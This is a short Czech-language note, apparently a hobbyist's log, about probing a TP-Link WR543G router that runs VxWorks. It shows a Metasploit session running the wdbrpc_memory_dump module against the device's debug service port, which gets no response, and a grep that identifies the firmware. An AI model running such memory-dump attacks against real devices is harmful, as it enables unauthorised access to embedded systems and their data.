• Je to system pro embeded zarizeni..
• tady je popsan exploit vyuzivajici service port :)

• nejde hacknout pres zranitelnost :)

msf auxiliary(wdbrpc_bootline) > use auxiliary/admin/vxworks/wdbrpc_memory_dump
msf auxiliary(wdbrpc_memory_dump) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(wdbrpc_memory_dump) > set LPATH /tmp/target.mem
LPATH => /tmp/target.mem
msf auxiliary(wdbrpc_memory_dump) > run

[*] Attempting to dump system memory...
[-] 192.168.1.1: No response from the target
[-] No response to connection request
[*] Auxiliary module execution completed
msf auxiliary(wdbrpc_memory_dump) >

• identifikace fw tplinku

cat wr543gv2-en-up.bin | grep -i vxworks 

ACI $Header: //core/bsp/archives/ar2315/ar531xPlus.h-arc 1.4 Dec 27 2005 15:00:04 dai $VxWorks5.5.1VxWorks5.5.1May 7 2008, >Copyright 1984-2002 Wind River Systems, Inc.